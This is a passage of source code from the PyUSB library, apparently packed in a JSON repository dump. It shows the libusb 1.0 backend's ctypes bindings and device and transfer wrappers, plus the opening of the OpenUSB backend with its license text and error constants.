c_uint8),\n                ('endpoint', POINTER(_libusb_endpoint_descriptor)),\n                ('extra', POINTER(c_ubyte)),\n                ('extra_length', c_int)]\n\nclass _libusb_interface(Structure):\n    _fields_ = [('altsetting', POINTER(_libusb_interface_descriptor)),\n                ('num_altsetting', c_int)]\n\nclass _libusb_config_descriptor(Structure):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('wTotalLength', c_uint16),\n                ('bNumInterfaces', c_uint8),\n                ('bConfigurationValue', c_uint8),\n                ('iConfiguration', c_uint8),\n                ('bmAttributes', c_uint8),\n                ('bMaxPower', c_uint8),\n                ('interface', POINTER(_libusb_interface)),\n                ('extra', POINTER(c_ubyte)),\n                ('extra_length', c_int)]\n\nclass _libusb_device_descriptor(Structure):\n    _fields_ = [('bLength', c_uint8),\n                ('bDescriptorType', c_uint8),\n                ('bcdUSB', c_uint16),\n                ('bDeviceClass', c_uint8),\n                ('bDeviceSubClass', c_uint8),\n                ('bDeviceProtocol', c_uint8),\n                ('bMaxPacketSize0', c_uint8),\n                ('idVendor', c_uint16),\n                ('idProduct', c_uint16),\n                ('bcdDevice', c_uint16),\n                ('iManufacturer', c_uint8),\n                ('iProduct', c_uint8),\n                ('iSerialNumber', c_uint8),\n                ('bNumConfigurations', c_uint8)]\n\n\n# Isochronous packet descriptor.\nclass _libusb_iso_packet_descriptor(Structure):\n    _fields_ = [('length', c_uint),\n                ('actual_length', c_uint),\n                ('status', c_int)] # enum libusb_transfer_status\n\n_libusb_device_handle = c_void_p\n\nclass _libusb_transfer(Structure):\n    pass\n_libusb_transfer_p = POINTER(_libusb_transfer)\n\n_libusb_transfer_cb_fn_p = CFUNCTYPE(None, _libusb_transfer_p)\n\n_libusb_transfer._fields_ = [('dev_handle', _libusb_device_handle),\n                             ('flags', c_uint8),\n                             ('endpoint', c_uint8),\n                             ('type', c_uint8),\n                             ('timeout', c_uint),\n                             ('status', c_int), # enum libusb_transfer_status\n                             ('length', c_int),\n                             ('actual_length', c_int),\n                             ('callback', _libusb_transfer_cb_fn_p),\n                             ('user_data', py_object),\n                             ('buffer', c_void_p),\n                             ('num_iso_packets', c_int),\n                             ('iso_packet_desc', _libusb_iso_packet_descriptor)\n]\n\ndef _get_iso_packet_list(transfer):\n    list_type = _libusb_iso_packet_descriptor * transfer.num_iso_packets\n    return list_type.from_address(addressof(transfer.iso_packet_desc))\n\n_lib = None\n\ndef _load_library(find_library=None):\n    # Windows backend uses stdcall calling convention\n    #\n    # On FreeBSD 8/9, libusb 1.0 and libusb 0.1 are in the same shared\n    # object libusb.so, so if we found libusb library name, we must assure\n    # it is 1.0 version. We just try to get some symbol from 1.0 version\n    if sys.platform == 'win32':\n        win_cls = WinDLL\n    else:\n        win_cls = None\n\n    return usb.libloader.load_locate_library(\n                ('usb-1.0', 'libusb-1.0', 'usb'),\n                'cygusb-1.0.dll', 'Libusb 1',\n                win_cls=win_cls,\n                find_library=find_library, check_symbols=('libusb_init',))\n\ndef _setup_prototypes(lib):\n    # void libusb_set_debug (libusb_context *ctx, int level)\n    lib.libusb_set_debug.argtypes = [c_void_p, c_int]\n\n    # int libusb_init (libusb_context **context)\n    lib.libusb_init.argtypes = [POINTER(c_void_p)]\n\n    # void libusb_exit (struct libusb_context *ctx)\n    lib.libusb_exit.argtypes = [c_void_p]\n\n    # ssize_t libusb_get_device_list (libusb_context *ctx,\n    #                                 libusb_device ***list)\n    lib.libusb_get_device_list.argtypes = [\n            c_void_p,\n            POINTER(POINTER(c_void_p))\n        ]\n\n    # void libusb_free_device_list (libusb_device **list,\n    #                               int unref_devices)\n    lib.libusb_free_device_list.argtypes = [\n            POINTER(c_void_p),\n            c_int\n        ]\n\n    # libusb_device *libusb_ref_device (libusb_device *dev)\n    lib.libusb_ref_device.argtypes = [c_void_p]\n    lib.libusb_ref_device.restype = c_void_p\n\n    # void libusb_unref_device(libusb_device *dev)\n    lib.libusb_unref_device.argtypes = [c_void_p]\n\n    # int libusb_open(libusb_device *dev, libusb_device_handle **handle)\n    lib.libusb_open.argtypes = [c_void_p, POINTER(_libusb_device_handle)]\n\n    # void libusb_close(libusb_device_handle *dev_handle)\n    lib.libusb_close.argtypes = [_libusb_device_handle]\n\n    # int libusb_set_configuration(libusb_device_handle *dev,\n    #                              int configuration)\n    lib.libusb_set_configuration.argtypes = [_libusb_device_handle, c_int]\n\n    # int libusb_get_configuration(libusb_device_handle *dev,\n    #                              int *config)\n    lib.libusb_get_configuration.argtypes = [_libusb_device_handle, POINTER(c_int)]\n\n    # int libusb_claim_interface(libusb_device_handle *dev,\n    #                               int interface_number)\n    lib.libusb_claim_interface.argtypes = [_libusb_device_handle, c_int]\n\n    # int libusb_release_interface(libusb_device_handle *dev,\n    #                              int interface_number)\n    lib.libusb_release_interface.argtypes = [_libusb_device_handle, c_int]\n\n    # int libusb_set_interface_alt_setting(libusb_device_handle *dev,\n    #                                      int interface_number,\n    #                                      int alternate_setting)\n    lib.libusb_set_interface_alt_setting.argtypes = [\n            _libusb_device_handle,\n            c_int,\n            c_int\n        ]\n\n    # int libusb_reset_device (libusb_device_handle *dev)\n    lib.libusb_reset_device.argtypes = [_libusb_device_handle]\n\n    # int libusb_kernel_driver_active(libusb_device_handle *dev,\n    #                                 int interface)\n    lib.libusb_kernel_driver_active.argtypes = [\n            _libusb_device_handle,\n            c_int\n        ]\n\n    # int libusb_detach_kernel_driver(libusb_device_handle *dev,\n    #                                 int interface)\n    lib.libusb_detach_kernel_driver.argtypes = [\n            _libusb_device_handle,\n            c_int\n        ]\n\n    # int libusb_attach_kernel_driver(libusb_device_handle *dev,\n    #                                 int interface)\n    lib.libusb_attach_kernel_driver.argtypes = [\n            _libusb_device_handle,\n            c_int\n        ]\n\n    # int libusb_get_device_descriptor(\n    #                   libusb_device *dev,\n    #                   struct libusb_device_descriptor *desc\n    #               )\n    lib.libusb_get_device_descriptor.argtypes = [\n            c_void_p,\n            POINTER(_libusb_device_descriptor)\n        ]\n\n    # int libusb_get_config_descriptor(\n    #           libusb_device *dev,\n    #           uint8_t config_index,\n    #           struct libusb_config_descriptor **config\n    #       )\n    lib.libusb_get_config_descriptor.argtypes = [\n            c_void_p,\n            c_uint8,\n            POINTER(POINTER(_libusb_config_descriptor))\n        ]\n\n    # void  libusb_free_config_descriptor(\n    #           struct libusb_config_descriptor *config\n    #   )\n    lib.libusb_free_config_descriptor.argtypes = [\n            POINTER(_libusb_config_descriptor)\n        ]\n\n    # int libusb_get_string_descriptor_ascii(libusb_device_handle *dev,\n    #                                         uint8_t desc_index,\n    #                                         unsigned char *data,\n    #                                         int length)\n    lib.libusb_get_string_descriptor_ascii.argtypes = [\n            _libusb_device_handle,\n            c_uint8,\n            POINTER(c_ubyte),\n            c_int\n        ]\n\n    # int libusb_control_transfer(libusb_device_handle *dev_handle,\n    #                             uint8_t bmRequestType,\n    #                             uint8_t bRequest,\n    #                             uint16_t wValue,\n    #                             uint16_t wIndex,\n    #                             unsigned char *data,\n    #                             uint16_t wLength,\n    #                             unsigned int timeout)\n    lib.libusb_control_transfer.argtypes = [\n            _libusb_device_handle,\n            c_uint8,\n            c_uint8,\n            c_uint16,\n            c_uint16,\n            POINTER(c_ubyte),\n            c_uint16,\n            c_uint\n        ]\n\n    #int libusb_bulk_transfer(\n    #           struct libusb_device_handle *dev_handle,\n    #           unsigned char endpoint,\n    #           unsigned char *data,\n    #           int length,\n    #           int *transferred,\n    #           unsigned int timeout\n    #       )\n    lib.libusb_bulk_transfer.argtypes = [\n                _libusb_device_handle,\n                c_ubyte,\n                POINTER(c_ubyte),\n                c_int,\n                POINTER(c_int),\n                c_uint\n            ]\n\n    # int libusb_interrupt_transfer(\n    #               libusb_device_handle *dev_handle,\n    #               unsigned char endpoint,\n    #               unsigned char *data,\n    #               int length,\n    #               int *actual_length,\n    #               unsigned int timeout\n    #           );\n    lib.libusb_interrupt_transfer.argtypes = [\n                    _libusb_device_handle,\n                    c_ubyte,\n                    POINTER(c_ubyte),\n                    c_int,\n                    POINTER(c_int),\n                    c_uint\n                ]\n\n    # libusb_transfer* libusb_alloc_transfer(int iso_packets);\n    lib.libusb_alloc_transfer.argtypes = [c_int]\n    lib.libusb_alloc_transfer.restype = POINTER(_libusb_transfer)\n\n    # void libusb_free_transfer(struct libusb_transfer *transfer)\n    lib.libusb_free_transfer.argtypes = [POINTER(_libusb_transfer)]\n\n    # int libusb_submit_transfer(struct libusb_transfer *transfer);\n    lib.libusb_submit_transfer.argtypes = [POINTER(_libusb_transfer)]\n\n    if hasattr(lib, 'libusb_strerror'):\n        # const char *libusb_strerror(enum libusb_error errcode)\n        lib.libusb_strerror.argtypes = [c_uint]\n        lib.libusb_strerror.restype = c_char_p\n\n    # int libusb_clear_halt(libusb_device_handle *dev, unsigned char endpoint)\n    lib.libusb_clear_halt.argtypes = [_libusb_device_handle, c_ubyte]\n\n    # void libusb_set_iso_packet_lengths(\n    #               libusb_transfer* transfer,\n    #               unsigned int length\n    #           );\n    def libusb_set_iso_packet_lengths(transfer_p, length):\n        r\"\"\"This function is inline in the libusb.h file, so we must implement\n            it.\n\n        lib.libusb_set_iso_packet_lengths.argtypes = [\n                        POINTER(_libusb_transfer),\n                        c_int\n                    ]\n        \"\"\"\n        transfer = transfer_p.contents\n        for iso_packet_desc in _get_iso_packet_list(transfer):\n            iso_packet_desc.length = length\n    lib.libusb_set_iso_packet_lengths = libusb_set_iso_packet_lengths\n\n    #int libusb_get_max_iso_packet_size(libusb_device* dev,\n    #                                   unsigned char endpoint);\n    lib.libusb_get_max_iso_packet_size.argtypes = [c_void_p,\n                                                   c_ubyte]\n\n    # void libusb_fill_iso_transfer(\n    #               struct libusb_transfer* transfer,\n    #               libusb_device_handle*  dev_handle,\n    #               unsigned char endpoint,\n    #               unsigned char* buffer,\n    #               int length,\n    #               int num_iso_packets,\n    #               libusb_transfer_cb_fn   callback,\n    #               void * user_data,\n    #               unsigned int timeout\n    #           );\n    def libusb_fill_iso_transfer(_libusb_transfer_p, dev_handle, endpoint, buffer, length,\n                                 num_iso_packets, callback, user_data, timeout):\n        r\"\"\"This function is inline in the libusb.h file, so we must implement\n            it.\n\n        lib.libusb_fill_iso_transfer.argtypes = [\n                       _libusb_transfer,\n                       _libusb_device_handle,\n                       c_ubyte,\n                       POINTER(c_ubyte),\n                       c_int,\n                       c_int,\n                       _libusb_transfer_cb_fn_p,\n                       c_void_p,\n                       c_uint\n                   ]\n        \"\"\"\n        transfer = _libusb_transfer_p.contents\n        transfer.dev_handle = dev_handle\n        transfer.endpoint = endpoint\n        transfer.type = _LIBUSB_TRANSFER_TYPE_ISOCHRONOUS\n        transfer.timeout = timeout\n        transfer.buffer = cast(buffer, c_void_p)\n        transfer.length = length\n        transfer.num_iso_packets = num_iso_packets\n        transfer.user_data = user_data\n        transfer.callback = callback\n    lib.libusb_fill_iso_transfer = libusb_fill_iso_transfer\n\n    # uint8_t libusb_get_bus_number(libusb_device *dev)\n    lib.libusb_get_bus_number.argtypes = [c_void_p]\n    lib.libusb_get_bus_number.restype = c_uint8\n\n    # uint8_t libusb_get_device_address(libusb_device *dev)\n    lib.libusb_get_device_address.argtypes = [c_void_p]\n    lib.libusb_get_device_address.restype = c_uint8\n\n    try:\n        # uint8_t libusb_get_device_speed(libusb_device *dev)\n        lib.libusb_get_device_speed.argtypes = [c_void_p]\n        lib.libusb_get_device_speed.restype = c_uint8\n    except AttributeError:\n        pass\n\n    try:\n        # uint8_t libusb_get_port_number(libusb_device *dev)\n        lib.libusb_get_port_number.argtypes = [c_void_p]\n        lib.libusb_get_port_number.restype = c_uint8\n    except AttributeError:\n        pass\n\n    try:\n        # int libusb_get_port_numbers(libusb_device *dev,\n        #                             uint8_t* port_numbers,\n        #                             int port_numbers_len)\n        lib.libusb_get_port_numbers.argtypes = [\n                c_void_p,\n                POINTER(c_uint8),\n                c_int\n            ]\n        lib.libusb_get_port_numbers.restype = c_int\n    except AttributeError:\n        pass\n\n    #int libusb_handle_events(libusb_context *ctx);\n    lib.libusb_handle_events.argtypes = [c_void_p]\n\n# check a libusb function call\ndef _check(ret):\n    if hasattr(ret, 'value'):\n        ret = ret.value\n\n    if ret < 0:\n        if ret == LIBUSB_ERROR_NOT_SUPPORTED:\n            raise NotImplementedError(_strerror(ret))\n        else:\n            raise USBError(_strerror(ret), ret, _libusb_errno[ret])\n\n    return ret\n\n# wrap a device\nclass _Device(_objfinalizer.AutoFinalizedObject):\n    def __init__(self, devid):\n        self.devid = _lib.libusb_ref_device(devid)\n    def _finalize_object(self):\n        _lib.libusb_unref_device(self.devid)\n\n# wrap a descriptor and keep a reference to another object\n# Thanks to Thomas Reitmayr.\nclass _WrapDescriptor(object):\n    def __init__(self, desc, obj = None):\n        self.obj = obj\n        self.desc = desc\n    def __getattr__(self, name):\n        return getattr(self.desc, name)\n\n# wrap a configuration descriptor\nclass _ConfigDescriptor(_objfinalizer.AutoFinalizedObject):\n    def __init__(self, desc):\n        self.desc = desc\n    def _finalize_object(self):\n        _lib.libusb_free_config_descriptor(self.desc)\n    def __getattr__(self, name):\n        return getattr(self.desc.contents, name)\n\n\n# iterator for libusb devices\nclass _DevIterator(_objfinalizer.AutoFinalizedObject):\n    def __init__(self, ctx):\n        self.dev_list = POINTER(c_void_p)()\n        self.num_devs = _check(_lib.libusb_get_device_list(\n                                    ctx,\n                                    byref(self.dev_list))\n                                )\n    def __iter__(self):\n        for i in range(self.num_devs):\n            yield _Device(self.dev_list[i])\n    def _finalize_object(self):\n        _lib.libusb_free_device_list(self.dev_list, 1)\n\nclass _DeviceHandle(object):\n    def __init__(self, dev):\n        self.handle = _libusb_device_handle()\n        self.devid = dev.devid\n        _check(_lib.libusb_open(self.devid, byref(self.handle)))\n\nclass _IsoTransferHandler(_objfinalizer.AutoFinalizedObject):\n    def __init__(self, dev_handle, ep, buff, timeout):\n        address, length = buff.buffer_info()\n\n        packet_length = _lib.libusb_get_max_iso_packet_size(dev_handle.devid, ep)\n        packet_count = int(math.ceil(float(length) / packet_length))\n\n        self.transfer = _lib.libusb_alloc_transfer(packet_count)\n\n        _lib.libusb_fill_iso_transfer(self.transfer,\n                                      dev_handle.handle,\n                                      ep,\n                                      cast(address, POINTER(c_ubyte)),\n                                      length,\n                                      packet_count,\n                                      _libusb_transfer_cb_fn_p(self.__callback),\n                                      None,\n                                      timeout)\n\n        self.__set_packets_length(length, packet_length)\n\n    def _finalize_object(self):\n        _lib.libusb_free_transfer(self.transfer)\n\n    def submit(self, ctx = None):\n        self.__callback_done = 0\n        _check(_lib.libusb_submit_transfer(self.transfer))\n\n        while not self.__callback_done:\n            _check(_lib.libusb_handle_events(ctx))\n\n        status = int(self.transfer.contents.status)\n        if status != LIBUSB_TRANSFER_COMPLETED:\n            raise usb.USBError(_str_transfer_error[status],\n                               status,\n                               _transfer_errno[status])\n\n        return self.__compute_size_transf_data()\n\n    def __compute_size_transf_data(self):\n        return sum([t.actual_length for t in\n                    _get_iso_packet_list(self.transfer.contents)])\n\n    def __set_packets_length(self, n, packet_length):\n        _lib.libusb_set_iso_packet_lengths(self.transfer, packet_length)\n        r = n % packet_length\n        if r:\n            iso_packets = _get_iso_packet_list(self.transfer.contents)\n            # When the device is disconnected, this list may\n            # return with length 0\n            if len(iso_packets):\n                iso_packets[-1].length = r\n\n    def __callback(self, transfer):\n        self.__callback_done = 1\n\n# implementation of libusb 1.0 backend\nclass _LibUSB(usb.backend.IBackend):\n    @methodtrace(_logger)\n    def __init__(self, lib):\n        usb.backend.IBackend.__init__(self)\n        self.lib = lib\n        self.ctx = c_void_p()\n        _check(self.lib.libusb_init(byref(self.ctx)))\n\n    @methodtrace(_logger)\n    def _finalize_object(self):\n        self.lib.libusb_exit(self.ctx)\n\n\n    @methodtrace(_logger)\n    def enumerate_devices(self):\n        return _DevIterator(self.ctx)\n\n    @methodtrace(_logger)\n    def get_device_descriptor(self, dev):\n        dev_desc = _libusb_device_descriptor()\n        _check(self.lib.libusb_get_device_descriptor(dev.devid, byref(dev_desc)))\n        dev_desc.bus = self.lib.libusb_get_bus_number(dev.devid)\n        dev_desc.address = self.lib.libusb_get_device_address(dev.devid)\n\n        # Only available in newer versions of libusb\n        try:\n            dev_desc.speed = self.lib.libusb_get_device_speed(dev.devid)\n        except AttributeError:\n            dev_desc.speed = None\n\n        # Only available in newer versions of libusb\n        try:\n            dev_desc.port_number = self.lib.libusb_get_port_number(dev.devid)\n        except AttributeError:\n            dev_desc.port_number = None\n\n        # Only available in newer versions of libusb\n        try:\n            buff = (c_uint8 * 7)()  # USB 3.0 maximum depth is 7\n            written = dev_desc.port_numbers = self.lib.libusb_get_port_numbers(\n                    dev.devid, buff, len(buff))\n            if written > 0:\n                dev_desc.port_numbers = tuple(buff[:written])\n            else:\n                dev_desc.port_numbers = None\n        except AttributeError:\n            dev_desc.port_numbers = None\n\n        return dev_desc\n\n    @methodtrace(_logger)\n    def get_configuration_descriptor(self, dev, config):\n        cfg = POINTER(_libusb_config_descriptor)()\n        _check(self.lib.libusb_get_config_descriptor(\n                dev.devid,\n                config, byref(cfg)))\n        config_desc = _ConfigDescriptor(cfg)\n        config_desc.extra_descriptors = (\n                config_desc.extra[:config_desc.extra_length])\n        return config_desc\n\n    @methodtrace(_logger)\n    def get_interface_descriptor(self, dev, intf, alt, config):\n        cfg = self.get_configuration_descriptor(dev, config)\n        if intf >= cfg.bNumInterfaces:\n            raise IndexError('Invalid interface index ' + str(intf))\n        i = cfg.interface[intf]\n        if alt >= i.num_altsetting:\n            raise IndexError('Invalid alternate setting index ' + str(alt))\n        intf_desc = i.altsetting[alt]\n        intf_desc.extra_descriptors = intf_desc.extra[:intf_desc.extra_length]\n        return _WrapDescriptor(intf_desc, cfg)\n\n    @methodtrace(_logger)\n    def get_endpoint_descriptor(self, dev, ep, intf, alt, config):\n        i = self.get_interface_descriptor(dev, intf, alt, config)\n        if ep > i.bNumEndpoints:\n            raise IndexError('Invalid endpoint index ' + str(ep))\n        ep_desc = i.endpoint[ep]\n        ep_desc.extra_descriptors = ep_desc.extra[:ep_desc.extra_length]\n        return _WrapDescriptor(ep_desc, i)\n\n    @methodtrace(_logger)\n    def open_device(self, dev):\n        return _DeviceHandle(dev)\n\n    @methodtrace(_logger)\n    def close_device(self, dev_handle):\n        self.lib.libusb_close(dev_handle.handle)\n\n    @methodtrace(_logger)\n    def set_configuration(self, dev_handle, config_value):\n        _check(self.lib.libusb_set_configuration(dev_handle.handle, config_value))\n\n    @methodtrace(_logger)\n    def get_configuration(self, dev_handle):\n        config = c_int()\n        _check(self.lib.libusb_get_configuration(dev_handle.handle, byref(config)))\n        return config.value\n\n    @methodtrace(_logger)\n    def set_interface_altsetting(self, dev_handle, intf, altsetting):\n        _check(self.lib.libusb_set_interface_alt_setting(\n                                dev_handle.handle,\n                                intf,\n                                altsetting))\n\n    @methodtrace(_logger)\n    def claim_interface(self, dev_handle, intf):\n        _check(self.lib.libusb_claim_interface(dev_handle.handle, intf))\n\n    @methodtrace(_logger)\n    def release_interface(self, dev_handle, intf):\n        _check(self.lib.libusb_release_interface(dev_handle.handle, intf))\n\n    @methodtrace(_logger)\n    def bulk_write(self, dev_handle, ep, intf, data, timeout):\n        return self.__write(self.lib.libusb_bulk_transfer,\n                            dev_handle,\n                            ep,\n                            intf,\n                            data,\n                            timeout)\n\n    @methodtrace(_logger)\n    def bulk_read(self, dev_handle, ep, intf, buff, timeout):\n        return self.__read(self.lib.libusb_bulk_transfer,\n                           dev_handle,\n                           ep,\n                           intf,\n                           buff,\n                           timeout)\n\n    @methodtrace(_logger)\n    def intr_write(self, dev_handle, ep, intf, data, timeout):\n        return self.__write(self.lib.libusb_interrupt_transfer,\n                            dev_handle,\n                            ep,\n                            intf,\n                            data,\n                            timeout)\n\n    @methodtrace(_logger)\n    def intr_read(self, dev_handle, ep, intf, buff, timeout):\n        return self.__read(self.lib.libusb_interrupt_transfer,\n                           dev_handle,\n                           ep,\n                           intf,\n                           buff,\n                           timeout)\n\n    @methodtrace(_logger)\n    def iso_write(self, dev_handle, ep, intf, data, timeout):\n        handler = _IsoTransferHandler(dev_handle, ep, data, timeout)\n        return handler.submit(self.ctx)\n\n    @methodtrace(_logger)\n    def iso_read(self, dev_handle, ep, intf, buff, timeout):\n        handler = _IsoTransferHandler(dev_handle, ep, buff, timeout)\n        return handler.submit(self.ctx)\n\n    @methodtrace(_logger)\n    def ctrl_transfer(self,\n                      dev_handle,\n                      bmRequestType,\n                      bRequest,\n                      wValue,\n                      wIndex,\n                      data,\n                      timeout):\n        addr, length = data.buffer_info()\n        length *= data.itemsize\n\n        ret = _check(self.lib.libusb_control_transfer(\n                                        dev_handle.handle,\n                                        bmRequestType,\n                                        bRequest,\n                                        wValue,\n                                        wIndex,\n                                        cast(addr, POINTER(c_ubyte)),\n                                        length,\n                                        timeout))\n\n        return ret\n\n    @methodtrace(_logger)\n    def clear_halt(self, dev_handle, ep):\n        _check(self.lib.libusb_clear_halt(dev_handle.handle, ep))\n\n    @methodtrace(_logger)\n    def reset_device(self, dev_handle):\n        _check(self.lib.libusb_reset_device(dev_handle.handle))\n\n    @methodtrace(_logger)\n    def is_kernel_driver_active(self, dev_handle, intf):\n        return bool(_check(self.lib.libusb_kernel_driver_active(dev_handle.handle,\n                        intf)))\n\n    @methodtrace(_logger)\n    def detach_kernel_driver(self, dev_handle, intf):\n        _check(self.lib.libusb_detach_kernel_driver(dev_handle.handle, intf))\n\n    @methodtrace(_logger)\n    def attach_kernel_driver(self, dev_handle, intf):\n        _check(self.lib.libusb_attach_kernel_driver(dev_handle.handle, intf))\n\n    def __write(self, fn, dev_handle, ep, intf, data, timeout):\n        address, length = data.buffer_info()\n        length *= data.itemsize\n        transferred = c_int()\n        retval = fn(dev_handle.handle,\n                  ep,\n                  cast(address, POINTER(c_ubyte)),\n                  length,\n                  byref(transferred),\n                  timeout)\n        # do not assume LIBUSB_ERROR_TIMEOUT means no I/O.\n        if not (transferred.value and retval == LIBUSB_ERROR_TIMEOUT):\n            _check(retval)\n\n        return transferred.value\n\n    def __read(self, fn, dev_handle, ep, intf, buff, timeout):\n        address, length = buff.buffer_info()\n        length *= buff.itemsize\n        transferred = c_int()\n        retval = fn(dev_handle.handle,\n                  ep,\n                  cast(address, POINTER(c_ubyte)),\n                  length,\n                  byref(transferred),\n                  timeout)\n        # do not assume LIBUSB_ERROR_TIMEOUT means no I/O.\n        if not (transferred.value and retval == LIBUSB_ERROR_TIMEOUT):\n            _check(retval)\n        return transferred.value\n\ndef get_backend(find_library=None):\n    global _lib\n    try:\n        if _lib is None:\n            _lib = _load_library(find_library=find_library)\n            _setup_prototypes(_lib)\n        return _LibUSB(_lib)\n    except usb.libloader.LibraryException:\n        # exception already logged (if any)\n        _logger.error('Error loading libusb 1.0 backend', exc_info=False)\n        return None\n    except Exception:\n        _logger.error('Error loading libusb 1.0 backend', exc_info=True)\n        return None\n"
  },
  {
    "path": "usb/backend/openusb.py",
    "content": "# Copyright (C) 2009-2014 Wander Lairson Costa\n#\n# The following terms apply to all files associated\n# with the software unless explicitly disclaimed in individual files.\n#\n# The authors hereby grant permission to use, copy, modify, distribute,\n# and license this software and its documentation for any purpose, provided\n# that existing copyright notices are retained in all copies and that this\n# notice is included verbatim in any distributions. No written agreement,\n# license, or royalty fee is required for any of the authorized uses.\n# Modifications to this software may be copyrighted by their authors\n# and need not follow the licensing terms described here, provided that\n# the new terms are clearly indicated on the first page of each file where\n# they apply.\n#\n# IN NO EVENT SHALL THE AUTHORS OR DISTRIBUTORS BE LIABLE TO ANY PARTY\n# FOR DIRECT, INDIRECT, SPECIAL, INCIDENTAL, OR CONSEQUENTIAL DAMAGES\n# ARISING OUT OF THE USE OF THIS SOFTWARE, ITS DOCUMENTATION, OR ANY\n# DERIVATIVES THEREOF, EVEN IF THE AUTHORS HAVE BEEN ADVISED OF THE\n# POSSIBILITY OF SUCH DAMAGE.\n#\n# THE AUTHORS AND DISTRIBUTORS SPECIFICALLY DISCLAIM ANY WARRANTIES,\n# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE, AND NON-INFRINGEMENT.  THIS SOFTWARE\n# IS PROVIDED ON AN \"AS IS\" BASIS, AND THE AUTHORS AND DISTRIBUTORS HAVE\n# NO OBLIGATION TO PROVIDE MAINTENANCE, SUPPORT, UPDATES, ENHANCEMENTS, OR\n# MODIFICATIONS.\n\nfrom ctypes import *\nimport ctypes.util\nimport usb.util\nfrom usb._debug import methodtrace\nimport logging\nimport errno\nimport sys\nimport usb._interop as _interop\nimport usb._objfinalizer as _objfinalizer\nimport usb.util as util\nimport usb.libloader\nfrom usb.core import USBError\n\n__author__ = 'Wander Lairson Costa'\n\n__all__ = [\n            'get_backend'\n            'OPENUSB_SUCCESS'\n            'OPENUSB_PLATFORM_FAILURE'\n            'OPENUSB_NO_RESOURCES'\n            'OPENUSB_NO_BANDWIDTH'\n            'OPENUSB_NOT_SUPPORTED'\n            'OPENUSB_HC_HARDWARE_ERROR'\n            'OPENUSB_INVALID_PERM'\n            'OPENUSB_BUSY'\n            'OPENUSB_BADARG'\n            'OPENUSB_NOACCESS'\n            'OPENUSB_PARSE_ERROR'\n            'OPENUSB_UNKNOWN_DEVICE'\n            'OPENUSB_INVALID_HANDLE'\n            'OPENUSB_SYS_FUNC_FAILURE'\n            'OPENUSB_NULL_LIST'\n            'OPENUSB_CB_CONTINUE'\n            'OPENUSB_CB_TERMINATE'\n            'OPENUSB_IO_STALL'\n            'OPENUSB_IO_CRC_ERROR'\n            'OPENUSB_IO_DEVICE_HUNG'\n            'OPENUSB_IO_REQ_TOO_BIG'\n            'OPENUSB_IO_BIT_STUFFING'\n            'OPENUSB_IO_UNEXPECTED_PID'\n            'OPENUSB_IO_DATA_OVERRUN'\n            'OPENUSB_IO_DATA_UNDERRUN'\n            'OPENUSB_IO_BUFFER_OVERRUN'\n            'OPENUSB_IO_BUFFER_UNDERRUN'\n            'OPENUSB_IO_PID_CHECK_FAILURE'\n            'OPENUSB_IO_DATA_TOGGLE_MISMATCH'\n            'OPENUSB_IO_TIMEOUT'\n            'OPENUSB_IO_CANCELED'\n        ]\n\n_logger = logging.getLogger('usb.backend.openusb')\n\nOPENUSB_SUCCESS = 0\nOPENUSB_PLATFORM_FAILURE = -1\nOPENUSB_NO_RESOURCES = -2\nOPENUSB_NO_BANDWIDTH = -3\nOPENUSB_NOT_SUPPORTED = -4\nOPENUSB_HC_HARDWARE_ERROR = -5\nOPENUSB_INVALID_PERM = -6\nOPENUSB_BUSY = -7\nOPENUSB_BADARG = -8\nOPENUSB_NOACCESS = -9\nOPENUSB_PARSE_ERROR = -10\nOPENUSB_UNKNOWN_DEVICE = -11\nOPENUSB_INVALID_HANDLE = -12\nOPENUSB_SYS_FUNC_FAILURE = -13\nOPENUSB_NULL_LIST = -14\nOPENUSB_CB_CONTINUE = -20\nOPENUSB_CB_TERMINATE = -21\nOPENUSB_IO_STALL = -50\nOPENUSB_IO_CRC_ERROR = -51\nOPENUSB_IO_DEVICE_HUNG = -52\nOPENUSB_IO_REQ_TOO_BIG = -53\nOPENUSB_IO_BIT_STUFFING = -54\nOPENUSB_IO_UNEXPECTED_PID = -55\nOPENUSB_IO_DATA_OVERRUN = -56\nOPENUSB_IO_DATA_UNDERRUN = -57\nOPENUSB_IO_BUFFER_OVERRUN = -58\nOPENUSB_IO_BUFFER_UNDERRUN = -59\nOPENUSB_IO_PID_CHECK_FAILURE = -60\nOPENUSB_IO_DATA_TOGGLE_MISMATCH = -61\nOPENUSB_IO_TIMEOUT = -62\nOPENUSB_IO_CANCELED = -63\n\n_openusb_errno = {\n    OPENUSB_SUCCESS:None,\n    OPENUSB_PLATFORM_FAILURE:None,\n    OPENUSB_NO_RESOURCES:errno.__dict__.get('ENOMEM', None),\n    OPENUSB_NO_BANDWIDTH:None,\n    OPENUSB_NOT_SUPPORTED:errno.__dict__.get('ENOSYS', None),\n    OPENUSB_HC_HARDWARE_ERROR:errno.__dict__.get('EIO', None),\n    OPENUSB_INVALID_PERM:errno.__dict__.get('EBADF', None),\n    OPENUSB_BUSY:errno.__dict__.get('EBUSY', None),\n    OPENUSB_BADARG:errno.__dict__.get('EINVAL', None),\n    OPENUSB_NOACCESS:errno.__dict__.get('EACCES', None),\n    OPENUSB_PARSE_ERROR:None,\n    OPENUSB_UNKNOWN_DEVICE:errno.__dict__.get('ENODEV', None),\n    OPENUSB_INVALID_HANDLE:errno.__dict__.get('EINVAL', None),\n    OPENUSB_SYS_FUNC_FAILURE:None,\n    OPENUSB_NULL_LIST:None,\n    OPENUSB_CB_CONTINUE:None,\n    OPENUSB_CB_TERMINATE:None,\n    OPENUSB_IO_STALL:errno.__dict__.get('EIO', None),\n    OPENUSB_IO_CRC_ERROR:errno.__dict__.get('EIO', None),\n    OPENUSB_IO_DEVICE_HUNG:errno.__dict__.get('EIO', None),\n    OPENUSB_IO_REQ_TOO_BIG:errno.__dict__.get('E2BIG', None),\n    OPENUSB_IO_BIT_STUFFING:None,\n    OPENUSB_IO_UNEXPECTED_PID:errno.__dict__.get('ESRCH', None),\n    OPENUSB_IO_DATA_OVERRUN:errno.__dict__.get('EOVERFLOW', None),\n    OPENUSB_IO_DATA_UNDERRUN:None,\n    OPENUSB_IO_BUFFER_OVERRUN:errno.__dict__.get('EOVERFLOW', None),\n    OPENUSB_IO_BUFFER_UNDERRUN:None,\n    OPENUSB_IO_PID_CHECK_FAILURE:None,\n    OPENUSB_IO_DATA_TOGGLE_MISMATCH:None,\n    OPENUSB_IO_TIMEOUT:errno.__dict__.get('ETIMEDOUT', 